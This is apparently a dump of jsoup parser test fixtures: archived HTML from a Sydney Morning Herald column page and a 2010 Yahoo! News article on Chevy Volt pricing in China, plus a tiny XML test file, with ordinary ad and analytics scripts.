title=\"Subscribe\">Subscribe</a></li>\n    </ul>\n\n            <ul class=\"span-4 cfix\">\n        <li class=\"first\"><h5>Classifieds</h5></li>\n            <li><a href=\"http://www.stayz.com.au/\" title=\"Accommodation\">Accommodation</a></li>\n            <li><a href=\"http://www.drive.com.au/\" title=\"Cars\">Cars</a></li>\n            <li><a href=\"http://www.rsvp.com.au/\" title=\"Dating\">Dating</a></li>\n            <li><a href=\"http://mycareer.com.au/\" title=\"Jobs\">Jobs</a></li>\n            <li><a href=\"http://www.domain.com.au/\" title=\"Real Estate\">Real Estate</a></li>\n    </ul>\n\n            <ul class=\"span-4 cfix\">\n        <li class=\"first\"><h5>Other Sites</h5></li>\n            <li><a href=\"http://www.theage.com.au/\" title=\"The Age\">The Age</a></li>\n            <li><a href=\"http://www.smh.com.au/\" title=\"Sydney Morning Herald\">Sydney Morning Herald</a></li>\n            <li><a href=\"http://www.watoday.com.au/\" title=\"WA Today\">WA Today</a></li>\n            <li><a href=\"http://www.brisbanetimes.com.au/\" title=\"Brisbane Times\">Brisbane Times</a></li>\n            <li><a href=\"http://www.businessday.com.au/\" title=\"Business Day\">Business Day</a></li>\n            <li><a href=\"http://www.moneymanager.com.au/\" title=\"Money Manager\">Money Manager</a></li>\n            <li><a href=\"http://www.essentialbaby.com.au/\" title=\"Essential Baby\">Essential Baby</a></li>\n            <li><a href=\"http://www.fairfax.com.au/map.ac\" title=\"Fairfax Digital Network\">Fairfax Digital Network</a></li>\n    </ul>\n\n    <a class=\"footer-logo\" href=\"http://www.fairfaxdigital.com.au/\">Fairfax Digital</a>\n    <cite>Copyright  &#169;\n        <script type=\"text/javascript\">//<![CDATA[\n            var today = new Date();\n            document.write(today.getFullYear() + '.');\n        //]]></script>\n        Fairfax Digital</cite>\n\n</div>\n<!-- This comment fixes IE6's logo problem. Might be temporary until we've got content below this point -->\n    <!-- START Nielsen Online 2008 survey launch -->\n<script type=\"text/javascript\">\nvar _rsCI=\"qt0303-fairfax\"; var _rsND = \"//secure-au.imrworldwide.com/\";\ndocument.write('<scr' + 'ipt type=\"text/javascript\" src=\"' + _rsND + 'cgi-bin/j?ci=' + _rsCI + '&se=1&te=0&rd=' + (new Date()).getTime() + '\"><\\/scr' + 'ipt>');\n</script>\n<!-- END Nielsen Online -->\n</div>\n<!-- End fN-footerNetwork -->\n    <script type=\"text/javascript\">\n            function isInternalReferrer() {\n            var internalDomains = [\n                \"fairfaxdigital\",\n                \"smh\",\n                \"theage\",\n                \"watoday\",\n                \"brisbanetimes\",\n                \"smh\",\n                \"theage\",\n                \"brisbanetimes\",\n                \"watoday\",\n                \"businessday\",\n                \"tradingroom\",\n                \"moneymanager\",\n                \"investsmart\",\n                \"afr\",\n                \"afrboss\",\n                \"mysmallbusiness\",\n                \"newsbreak\",\n                \"rubgyheaven\",\n                \"realfooty\",\n                \"leaguehq\",\n                \"thevine\",\n                \"fairfax\",\n                \"sunherald\",\n                \"cracker\",\n                \"nationaltimes\",\n                \"essentialbaby\",\n                \"2ue\",\n                \"3aw\",\n                \"4bc\",\n                \"4bh\",\n                \"6pr\",\n                \"96fm\",\n                \"magic1278\",\n                \"mydj\",\n                \"rsvp\",\n                \"domain\",\n                \"homepriceguide\",\n                \"mycareer\",\n                \"thebigchair\",\n                \"drive\",\n                \"stayz\",\n                \"businessday\"\n            ];\n\n            var referrer = document.referrer;\n            if (referrer == null || referrer == '') {\n                return true;\n            }\n\n            var regex = new RegExp(\"//([a-z0-9_\\\\-\\\\.]+)[:0-9]*/\"),\n                match = regex.exec(referrer, \"gi\");\n            if (match && match.length > 1) {\n                for (var i in internalDomains) {\n                    if (match[1].indexOf(internalDomains[i] + \".com.au\") >= 0) {\n                        return true;\n                    }\n                }\n            }\n\n            return false;\n        }\n\n\n    function getQueryVariable(variable) {\n\t\tvar query = window.location.search.substring(1);\n\t\tvar vars = query.split(\"&\");\n\t\tfor (var i=0;i<vars.length;i++) {\n\t\t\tvar pair = vars[i].split(\"=\");\n\t\t\tif (pair[0] == variable) {\n\t\t\t\treturn pair[1];\n\t\t\t}\n\t\t}\n\t\treturn '';\n\t}\n\n    function google_ad_request_done(google_ads) {\n\n        function buildGoogleAd(googleAd) {\n            if (googleAd && googleAd.type == \"text\") {\n                var adContent = [];\n                adContent.push('<div style=\"margin-bottom:5px\"><a href=\"');\n                adContent.push(googleAd.url);\n                adContent.push('\" style=\"text-decoration:none\">');\n                adContent.push('<h4 style=\"margin:0 5px;color:#039;font-size:13px;text-decoration:underline;font-weight:normal\">');\n                adContent.push(googleAd.line1);\n                adContent.push('</h4><p style=\"margin:0 5px;color:#000;font-size:12px\">');\n                adContent.push(googleAd.line2);\n                adContent.push(googleAd.line3);\n                adContent.push('</p><p style=\"margin:0 5px;color:#900\">');\n                adContent.push(googleAd.visible_url);\n                adContent.push('</p></a></div>');\n\n                return adContent.join(\"\");\n            }\n        }\n\n        /*\n        * This function is required and is used to display\n        * the ads that are returned from the JavaScript\n        * request. You should modify the document.write\n        * commands so that the HTML they write out fits\n        * with your desired ad layout.\n        */\n        var s = '';\n        var i;\n\n        /*\n        * Verify that there are actually ads to display.\n        */\n        if (google_ads.length == 0) {\n            return;\n        }\n\n        /*\n        * If an image or Flash ad is returned, display that ad.\n        * Otherwise, build a string containing all of the ads and\n        * then use a document.write() command to print that string.\n        */\n        var googleAds = $(\"googleAds\"),\n            moreGoogleAds = $(\"moreGoogleAds\")\n            split = 1,\n            maxAdsInBlock = 3;\n\n        if (googleAds) {\n            var allAds = [];\n\n            window.addEvent(\"domready\", function() {\n                // Populate the top adspot\n                var adsByGoogle = \"<h4 style='margin: 5px; font-size: 12px;'>Ads by Google</h4>\",\n                    googleAdsContent = [],\n                    moreGoogleAdsContent = [adsByGoogle],\n                    adIndex = 0,\n                    adsInMore = 0;\n                for (var i = 0, g = google_ads.length; i < g; i++) {\n                    if (i < split) {\n                            if (!isInternalReferrer()) {\n                                if (i == 0) {\n                                    googleAdsContent.push(adsByGoogle);\n                                }\n                                googleAdsContent.push(buildGoogleAd(google_ads[adIndex]));\n                                adIndex++;\n                            }\n                    } else if (adsInMore < maxAdsInBlock) {\n                        moreGoogleAdsContent.push(buildGoogleAd(google_ads[adIndex]));\n                        adsInMore++;\n                        adIndex++;\n                    }\n                }\n                var googleAdsContentString = googleAdsContent.join(\"\");\n                if (googleAdsContentString != \"\") {\n                    googleAds.set('html', googleAdsContentString);\n                } else {\n                    googleAds.destroy();\n                }\n                moreGoogleAds.set('html', moreGoogleAdsContent.join(\"\"));\n            });\n        }\n    }\n\n    // Sets the hints to be the keyword for google ads\n    var keyword = getQueryVariable('text');\n    if (keyword != null && keyword != \"\") {\n         google_hints = keyword.replace(\"+\", \",\");\n    }\n\n    google_ad_client = 'ca-fairfax-smh_js';\n    google_ad_channel = 'Business';\n    google_ad_output = 'js';\n    google_max_num_ads = '4';\n    google_ad_type = 'text';\n    google_encoding = 'utf8';\n    google_safe = 'high';\n    google_ad_section = 'default';\n</script>\n\n<!--\n  /*\n   * The JavaScript returned from the following page uses\n   * the parameter values assigned above to populate an array\n   * of ad objects. Once that array has been populated,\n   * the JavaScript will call the google_ad_request_done\n   * function to display the ads.\n   */\n-->\n<script type=\"text/javascript\" src=\"http://pagead2.googlesyndication.com/pagead/show_ads.js\"></script>\n    <!--START Nielsen//NetRatings SiteCensus V5.2 -->\n<!--COPYRIGHT 2006 Nielsen//NetRatings -->\n<script type=\"text/javascript\">\n\tvar _rsCI=\"f2\";\n\tvar _rsCG=\"SMH-business-column-michaelpascoe-story-online\";\n\tvar _rsDN=\"//secure-au.imrworldwide.com/\";\n\tvar _rsCC=0;\n</script>\n<script type=\"text/javascript\" src=\"http://secure-au.imrworldwide.com/v53.js\">\n</script>\n<noscript>\n\t<img src=\"http://secure-au.imrworldwide.com/cgi-bin/m?ci=f2&amp;cg=SMH-business-column-michaelpascoe-story-online\" alt=\"\" />\n</noscript>\n<!--END Nielsen//NetRatings SiteCensus V5.2 -->\n\n<!-- SiteCatalyst code version: H.20.2.\nCopyright 1997-2009 Omniture, Inc. More info available at\nhttp://www.omniture.com -->\n<script language=\"JavaScript\" type=\"text/javascript\" src=\"http://resources.smh.com.au/smh/media-common-1.0/js/s_code.js\"></script>\n<script language=\"JavaScript\" type=\"text/javascript\"><!--\n/* You may give each page an identifying name, server, and channel on the next lines. */\ns.pageName=\"smh:article:business:column:michael pascoe:the board’s next fear the female quota\"\ns.server=\"\"\ns.channel=\"business\"\ns.pageType=\"\"\ns.prop3=\"smh:business:column:michael pascoe\"\ns.prop5=\"1017890\"\ns.prop13=\"michael pascoe\"\ns.prop2=\"online\"\ns.prop4=\"dcds:common templates\"\ns.prop1=\"business:the board’s next fear the female quota\"\n/* Conversion Variables */\ns.campaign=\"\"\ns.state=\"\"\ns.zip=\"\"\ns.events=\"event1\"\ns.products=\"\"\ns.purchaseID=\"\"\ns.hier1=\"business|column|michael pascoe|the board’s next fear: the female quota\"\n/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/\nvar s_code=s.t();if(s_code)document.write(s_code)//--></script>\n<script language=\"JavaScript\" type=\"text/javascript\"><!--\nif(navigator.appVersion.indexOf('MSIE')>=0)document.write(unescape('%3C')+'\\!-'+'-')\n//--></script><noscript><img\nsrc=\"http://f2nsmh.112.2O7.net/b/ss/f2nsmh/1/H.20.2--NS/0?[AQB]&cdp=3&[AQE]\"\nheight=\"1\" width=\"1\" border=\"0\" alt=\"\" /></noscript><!--/DO NOT REMOVE/-->\n<!-- End SiteCatalyst code version: H.20.2. -->\n\n    <script type=\"text/javascript\">if(window['FD']){function initPingServer(){var v = new Date().getTime();new Element(\"script\",{src:\"/action/pingServerAction?par=1017890&v=\" + v}).inject($$(\"head\")[0]);}FD.register(\"PingServer\");}</script>\n\n    <div id=\"adspot-1x1\" class=\"ad\"></div>\n\n<script type=\"text/javascript\">\n        if (!autoStartEnabled() && isInternalReferrer()) {\n\n    delayedAds.push(function(){\n        FD.addAd($merge(FD.baseAd, {\n            id: \"adspot-1x1\",\n            iframeId: \"adspot-1x1-iframe\",\n            params: $merge($merge(FD.baseAd.params, {\n                aamsz : \"1x1\"\n        }),getAdParams(\"1x1\"))\n\n            })\n        );\n    }\n);\n            }\n\n</script>\n    <div id=\"adspot-1x11\" class=\"ad\"></div>\n\n<script type=\"text/javascript\">\n\n    delayedAds.push(function(){\n        FD.addAd($merge(FD.baseAd, {\n            id: \"adspot-1x11\",\n            iframeId: \"adspot-1x11-iframe\",\n            params: $merge($merge(FD.baseAd.params, {\n                    adtype: 'panorama',\n                aamsz : \"1x11\"\n        }),getAdParams(\"1x11\"))\n\n            })\n        );\n    }\n);\n\n</script>\n</div>\n\n</body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/resources/htmltests/xml-test.xml",
    "content": "<doc><val>One<val>Two</val>Three</val></doc>\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/resources/htmltests/yahoo-article-1.html",
    "content": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">\n<html lang=\"en-US\">\n<head>\n    <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n    \n<link rel=\"stylesheet\" type=\"text/css\" href=\"http://l.yimg.com/d/combo?yui/2.7.0/build/fonts/fonts-min.css&yui/2.7.0/build/reset/reset-min.css&yui/2.7.0/build/grids/grids-min.css&media/phugc/mwphcom_r141.css&uh/15/css/uh_rsa-1.0.5.css&news/p/common/generic/common_rollup-min-38211.css&s5/miniassist_200912081429.css&media/m/location_widget/location_widget-min-22834.css&yui/2.7.0/build/container/assets/skins/sam/container.css&news/p/common/generic/widgets-min-10270.css&news/p/common/generic/comments-min-36358.css&news/p/story/generic/story-min-42898.css&media/m/social_buttons/social-buttons-min-3585.css\" />\n\n                    <link rel=\"canonical\" href=\"http://news.yahoo.com/s/nm/20100831/bs_nm/us_gm_china\"></link>\n                \n\n                    <script type=\"text/javascript\">\n                        // variable set from common function\n                        var YNEWS_EdPick = '1'; \n                    </script>\n                \n    \n    <meta http-equiv=\"Pragma\" content=\"no-cache\">\n    <meta http-equiv=\"Expires\" content=\"0\">\n    <meta property=\"fb:admins\" content=\"100000971447717\" />\n\n    <meta name=\"title\" content=\"GM expects competitive Chevy Volt pricing in China\" />\n    <meta name=\"description\" content=\"General Motors expects competitive pricing for its electric Chevrolet Volt in China as it hopes to gain a foothold in China&#39;s fledgling environmentally friendly car industry with the highly anticipated car.\">\n    <meta name=\"keywords\" content=\"Business,Reuters\">\n    <link rel=\"image_src\" href=\"http://d.yimg.com/a/p/rids/20100831/t/r3693855494.jpg?x=103&y=130&xc=1&yc=1&wc=103&hc=130&q=85&sig=rdBzTk4xoV1.NA9FiEfTLA--\" />\n    \n    <title>GM expects competitive Chevy Volt pricing in China - Yahoo! News</title>\n\n    \n</head>\n\n<body>\n\n    <script type=\"text/javascript\">document.body.className = 'js';</script>\n\n    <div id=\"doc4\" class=\"yui-t6\">\n\n        <a href=\"#navigation\" class=\"shortcut\">Skip to navigation &raquo;</a>\n        <a href=\"#bd\" class=\"shortcut\">Skip to content &raquo;</a>\n    \n        <div id=\"hd\">\n        \n            <div class=\"mod ad mod-first ad_header\" role=\"banner\">\n    <div class=\"bd\">\n            <!-- Ad Keywords: it; business; price; yuan; government; Yuan;-->\n<style type=\"text/css\">#ygma #ygmapromo a{color:#0058A6;}#ygma .sp{background-image:url(http://l.yimg.com/a/lib/uh/15/sprites/news-1.0.0.png);}#ygma .ygmacobrand{position:absolute;color:#666;font-size:90%;*font-size:80%;top:5.6em;*top:5.7em;_top:5.7em;bottom:0;margin-left:115px;*margin-left:-115px;}#ygma .ygmacobrand a:link,#ygma .ygmacobrand a:active,#ygma .ygmacobrand a:visited{color:#666;text-decoration:none;}#ygma .ygmacobrand a:hover{text-decoration:underline;}#ygmasrchbtn{line-height:inherit;}</style><script type=\"text/javascript\">(function(){var h={};var setUp=function(){h = YAHOO.one.uh.hotlistInfo = {rd:\"http://us.ard.yahoo.com\",space:\"/SIG=15qa4spbh/M=650008.13019228.13970208.12579242/D=news/S=2023881070:HEAD/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=62FLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5877298/R=0\",adid:\"5877298\",prop:\"news\",protocol:\"http\",host:\"real-fe.story.news.yahoo.com:80\",url:\"%2fnews%2fstory%2fmaple%2fen-US%2fnm%2f20100831%2fbs_nm%2fus_gm_china\",spaceid:\"2023881070\"};YAHOO.one.uh.translate=function(str){var set={yahoo_homepage:\"http://www.yahoo.com/\", hp_detect_script:\"http://www.yahoo.com/includes/hdhpdetect.php\", set_hp_script:\"http://us.ard.yahoo.com/SIG=15qa4spbh/M=650008.13019228.13970208.12579242/D=news/S=2023881070:HEAD/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=62FLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5877298/R=1/SIG=10uacnjgh/*http://www.yahoo.com/bin/set\", set_hp_firefox_instructions:[\"Drag the \\\"Y!\\\" and drop it onto the \\\"Home\\\" icon.\", \"Select \\\"Yes\\\" from the pop up window.\", \"Nothing, you're done.\"], close_this_window:\"Close this window\", set_hp_alternative_instructions1:\"If this didn't work for you see \", detailed_set_hp_instructions:\"detailed instructions\", set_hp_alternative_instructions2:\"\"};return set[str];};YAHOO.one.uh.Search=['ygmasearchInput', 'sat'];};if(\"undefined\" !==typeof YAHOO && \"undefined\" !==typeof YAHOO.one && \"undefined\" !==typeof YAHOO.one.uh){setUp();}else{setTimeout(arguments.callee, 500);}})();</script><div id=\"ygma\"><div id=\"ygmaheader\"><div class=\"bd sp\"><div id=\"ymenu\" class=\"ygmaclr\"><div id=\"mepanel\"><ul id=\"mepanel-nav\"><li class=\"me1\"><em>New model.User? <a href=\"http://us.ard.yahoo.com/SIG=15qa4spbh/M=650008.13019228.13970208.12579242/D=news/S=2023881070:HEAD/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=62FLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5877298/R=2/SIG=12q94pt2i;_ylt=A2KIKvTWiH1Ml3sBoAJu.aF4;_ylu=X3oDMTB0aTMyNzhrBHBvcwMxBHNlYwNoZWFkZXIEc2xrA3JlZ2lzdGVy/*https://edit.yahoo.com/config/eval_register?.done=http://news.yahoo.com&.src=yn&.intl=us\" class=\"ygmasignup\">Register</a></em></li><li class=\"me2\"><a href=\"http://us.ard.yahoo.com/SIG=15qa4spbh/M=650008.13019228.13970208.12579242/D=news/S=2023881070:HEAD/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=62FLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5877298/R=3/SIG=12ji5gcev;_ylt=A2KIKvTWiH1Ml3sBoQJu.aF4;_ylu=X3oDMTByb2s2MmRkBHBvcwMyBHNlYwNoZWFkZXIEc2xrA3NpZ25pbg--/*https://login.yahoo.com/config/login?.done=http://news.yahoo.com&.src=yn&.intl=us\" ><em>Sign In</em></a></li><li class=\"me3\"><a href=\"http://us.ard.yahoo.com/SIG=15qa4spbh/M=650008.13019228.13970208.12579242/D=news/S=2023881070:HEAD/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=62FLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5877298/R=4/SIG=1184ggc4j;_ylt=A2KIKvTWiH1Ml3sBogJu.aF4;_ylu=X3oDMTBwNG9zOWhmBHBvcwMzBHNlYwNoZWFkZXIEc2xrA2hlbHA-/*http://help.yahoo.com/l/us/yahoo/news/\" target=\"_top\">Help</a></li></ul></div><div id=\"ygmapromo\"><div id=\"ygmapromo-i\"></div>\n<style> \n#ygma-s{display:none;}\n#ygma #ygmapromo-i, #ygmabt #ygmapromo-i {display:inline;}\n</style> \n<script> \n(function(){\nwindow.YAHOO = window.YAHOO || {};\nYAHOO.one = window.YAHOO.one || {};\nYAHOO.one.uh = window.YAHOO.one.uh || {};\nYAHOO.one.uh.popularSearches = function(data) {\n    var chop = function(s, n) {\n        if (s.length > n) {\n        return s.substring(0,n)+\"...\";\n        }\n        else return s;\n    }\n    var e = document.getElementById(\"ygmapromo\") || document.getElementById(\"ygmabtpromo\");\n    var e2 = document.getElementById(\"ygmapromo-i\");\n    var i = data.query.results.links; \n    var hd = i.text;\n    var fr = \"&fr=ush-tts&fr2=ps\";\n    e2.innerHTML = '<a href=\"http://us.ard.yahoo.com/SIG=15r1vctu9/M=650008.13959238.14033549.12832737/D=news/S=2023881070:HPRM2/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=CmJLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=6076890/R=0;_ylt=A2KIKvTWiH1Ml3sBowJu.aF4;_ylu=X3oDMTExOHVpaGkwBHBvcwM0BHNlYwNoZWFkZXIEc2xrA3RyZW5kaW5nY2hvcA--/*'+i.href+fr+'\" id=\"ygma-s-h\">Trending: '+chop(hd, 20)+'</a>';\n};\nvar ie;\nif (navigator.userAgent.match(/MSIE\\s6/)) {\n    var D = new Date();\n    var yr = D.getFullYear();\n    var mt = D.getMonth()+1;\n    var dy = D.getDate();\n    var hr = D.getHours();\n    ie = '&cache=' + yr + mt + dy + hr;\n}\nelse {\n    ie = \"\";\n}\nvar y = document.getElementById(\"ygma\") || document.getElementById(\"ygmabt\");\nvar feed;\nif (y.offsetWidth < 850){\n    feed = \"http://query.yahooapis.com/v1/public/yql/uhTrending/cokeTrending3?format=json&callback=YAHOO.one.uh.popularSearches&_maxage=1800&diagnostics=false&limit=1\";\n}\nelse {\n    feed = \"http://query.yahooapis.com/v1/public/yql/uhTrending/cokeTrending2?format=json&callback=YAHOO.one.uh.popularSearches&_maxage=1800&diagnostics=false&limit=1\";\n}\nvar h = document.getElementsByTagName(\"head\").item(0);\nvar s = document.createElement(\"script\");\ns.setAttribute(\"type\", \"text/javascript\");\ns.setAttribute(\"charset\", \"utf-8\");\ns.setAttribute(\"src\", feed + ie);\nh.appendChild(s);\n})();\n</script>     \n<style> \n#ygma ol.searches h4, #ygmabt ol.searches h4 {\n    font-size:100%;\n    font-weight:bold;\n    color:#333333;\n    text-align:left;\n    padding-bottom:3px;\n    margin:0;\n}\n#ygma ol.searches, #ygmabt ol.searches {\n    position:absolute;\n    z-index:10002;\n    width:155px;\n    _width:165px;\n    padding:7px 7px 3px 7px;\n    background-color:#ffffff;\n    border:1px solid #cacaca;\n    margin:0;\n}\n#ygma ol.searches li, #ygmabt ol.searches li {\n    text-align:left;\n    list-style-type:none;\n    color:#163780;\n    margin:0;\n    padding: 0 0 2px 0;\n}\n#ygma #ygmapromo ol.searches a, #ygmabt #ygmabtpromo ol.searches a {\n    font-weight:normal;\n    color:#163780;\n}\n#ygma #ygmapromo ol.searches a:hover, #ygmabt #ygmabtpromo ol.searches a:hover {\n    width:100%;\n}\n#ygma #ygmapromo-i, #ygmabt #ygmapromo-i {\n    position:relative;\n    z-index:10002;\n    zoom:1;\n}\n</style><script language=javascript>\nif(window.yzq_d==null)window.yzq_d=new Object();\nwindow.yzq_d['CmJLBkoGYmQ-']='&U=13hve9lct%2fN%3dCmJLBkoGYmQ-%2fC%3d650008.13959238.14033549.12832737%2fD%3dHPRM2%2fB%3d6076890%2fV%3d1';\n</script><noscript><img width=1 height=1 alt=\"\" src=\"http://us.bc.yahoo.com/b?P=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_&T=1avhs34ep%2fX%3d1283295446%2fE%3d2023881070%2fR%3dnews%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3dYAHOO%2fF%3d2693859403%2fH%3dY2FjaGVoaW50PSJuZXdzIiBjb250ZW50PSJpdDsgYnVzaW5lc3M7IHByaWNlOyB5dWFuOyBnb3Zlcm5tZW50OyBZdWFuOyIgc2VydmVJZD0iUEVOS1QyS0lLanowVTVCaS5Fb29tQUJzcFVWYUNFeDlpTllBQnR4XyIgc2l0ZUlkPSI0NDY0MDUxIiB0U3RtcD0iMTI4MzI5NTQ0NjUzNjAxMSIg%2fQ%3d-1%2fS%3d1%2fJ%3dF42A8862&U=13hve9lct%2fN%3dCmJLBkoGYmQ-%2fC%3d650008.13959238.14033549.12832737%2fD%3dHPRM2%2fB%3d6076890%2fV%3d1\"></noscript></div><div id=\"pa\"><div id=\"pa-wrapper\"><ul id=\"pa2-nav\" class=\"sp\"><li class=\"pa1 sp\"><a href=\"http://us.ard.yahoo.com/SIG=15qa4spbh/M=650008.13019228.13970208.12579242/D=news/S=2023881070:HEAD/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=62FLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5877298/R=5/SIG=10np9vmbm;_ylt=A2KIKvTWiH1Ml3sBpAJu.aF4;_ylu=X3oDMTBxbTk2NHViBHBvcwM1BHNlYwNoZWFkZXIEc2xrA3lhaG9v/*http://www.yahoo.com/\" class=\"sp\" target=\"_top\">Yahoo!</a></li><li class=\"pa2 sp\"><a href=\"http://us.ard.yahoo.com/SIG=15qa4spbh/M=650008.13019228.13970208.12579242/D=news/S=2023881070:HEAD/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=62FLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5877298/R=6/SIG=1107gluf6;_ylt=A2KIKvTWiH1Ml3sBpQJu.aF4;_ylu=X3oDMTBwMWR0dGFrBHBvcwM2BHNlYwNoZWFkZXIEc2xrA21haWw-/*http://mail.yahoo.com?.intl=us\" class=\"sp\" target=\"_top\">Mail</a></li></ul><div id=\"pa-left\" class=\"sp\"></div><ul id=\"pa-nav\" class=\"sp\"><li class=\"pa3 sp\"><a href=\"http://us.ard.yahoo.com/SIG=15qa4spbh/M=650008.13019228.13970208.12579242/D=news/S=2023881070:HEAD/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=62FLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5877298/R=7/SIG=10l2nj3k8;_ylt=A2KIKvTWiH1Ml3sBpgJu.aF4;_ylu=X3oDMTBzMHUyMHRuBHBvcwM3BHNlYwNoZWFkZXIEc2xrA215eWFob28-/*http://my.yahoo.com\" class=\"sp\" title=\"My Yahoo!\" target=\"_top\">My Yahoo!</a></li><li class=\"pa4 sp\"><a href=\"http://us.ard.yahoo.com/SIG=15qa4spbh/M=650008.13019228.13970208.12579242/D=news/S=2023881070:HEAD/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=62FLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5877298/R=8/SIG=10niob72s;_ylt=A2KIKvTWiH1Ml3sBpwJu.aF4;_ylu=X3oDMTBwMGtmMDllBHBvcwM4BHNlYwNoZWFkZXIEc2xrA25ld3M-/*http://news.yahoo.com\" class=\"sp\" title=\"Yahoo! News\" target=\"_top\">News</a></li><li class=\"pa5 sp\"><a href=\"http://us.ard.yahoo.com/SIG=15qa4spbh/M=650008.13019228.13970208.12579242/D=news/S=2023881070:HEAD/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=62FLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5877298/R=9/SIG=10q40gpus;_ylt=A2KIKvTWiH1Ml3sBqAJu.aF4;_ylu=X3oDMTBzOTQxcmV2BHBvcwM5BHNlYwNoZWFkZXIEc2xrA2ZpbmFuY2U-/*http://finance.yahoo.com\" class=\"sp\" title=\"Yahoo! Finance\" target=\"_top\">Finance</a></li><li class=\"pa6 sp\"><a href=\"http://us.ard.yahoo.com/SIG=15qa4spbh/M=650008.13019228.13970208.12579242/D=news/S=2023881070:HEAD/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=62FLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5877298/R=10/SIG=10pcalhda;_ylt=A2KIKvTWiH1Ml3sBqQJu.aF4;_ylu=X3oDMTBzN2xhbGU3BHBvcwMxMARzZWMDaGVhZGVyBHNsawNzcG9ydHM-/*http://sports.yahoo.com\" class=\"sp\" title=\"Yahoo! Sports\" target=\"_top\">Sports</a></li></ul><div id=\"pa-right\" class=\"sp\"></div></div></div></div><div id=\"yahoo\" class=\"ygmaclr\"><div id=\"ygmabot\"> <a href=\"http://us.ard.yahoo.com/SIG=15qa4spbh/M=650008.13019228.13970208.12579242/D=news/S=2023881070:HEAD/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=62FLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5877298/R=11/SIG=10niob72s;_ylt=A2KIKvTWiH1Ml3sBqgJu.aF4;_ylu=X3oDMTB2ajZ1cWFtBHBvcwMxMQRzZWMDaGVhZGVyBHNsawN5YWhvb25ld3M-/*http://news.yahoo.com\" id=\"ygmalogo\" target=\"_top\"><img id=\"ygmalogoimg\" width=\"213\" height=\"26\" src=\"http://l.yimg.com/a/i/brand/purplelogo/uh/us/news.gif\" alt=\"Yahoo! News\"></a><div class=\"ygmacobrand\"> Brought to you by <a href=\"http://us.ard.yahoo.com/SIG=15qa4spbh/M=650008.13019228.13970208.12579242/D=news/S=2023881070:HEAD/Y=YAHOO/EXP=1283302646/L=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_/B=62FLBkoGYmQ-/J=1283295446553092/K=U7.lJSeRx2ofwgoGAUPgCQ/A=5877298/R=12/SIG=10q40gpus;_ylt=A2KIKvTWiH1Ml3sBqwJu.aF4;_ylu=X3oDMTEyZmcwNTJjBHBvcwMxMgRzZWMDaGVhZGVyBHNsawN5YWhvb2ZpbmFuY2U-/*http://finance.yahoo.com\" >Yahoo! Finance</a></div></div><div id=\"ygma-search\"><form class=\"ygmaclr\" id=\"sf\" action=\"http://search.yahoo.com/search\" method=\"GET\"><div class=\"fieldset\"> <span class=\"ygma-search-wrapper\" role=\"search\"><label id=\"ygma-lbl\" for=\"ygmasearchInput\" class=\"offscrn\">Search</label>\n <input type=\"text\" class=\"sp normal\" id=\"ygmasearchInput\" name=\"p\" value=\"Search\" onblur=\"if(this.value==''){this.value='Search';this.style.color='#999';this.style.fontWeight='normal';}\" onfocus=\"if(this.value=='Search'){this.value='';this.style.color='#000';this.style.fontWeight='bold';}\" maxlength=\"100\" autocomplete=\"off\" /> <input type=\"hidden\" id=\"fr\" name=\"fr\" value=\"ush-news\" /> </span> <span class=\"ygma-search-wrapper\"> <span class=\"btn sp\"> <span class=\"first-child\"> <button name=\"ygmasrchbtn\" id=\"ygmasrchbtn\" value=\"Web Search\" type=\"submit\">Web Search </button> </span> </span> 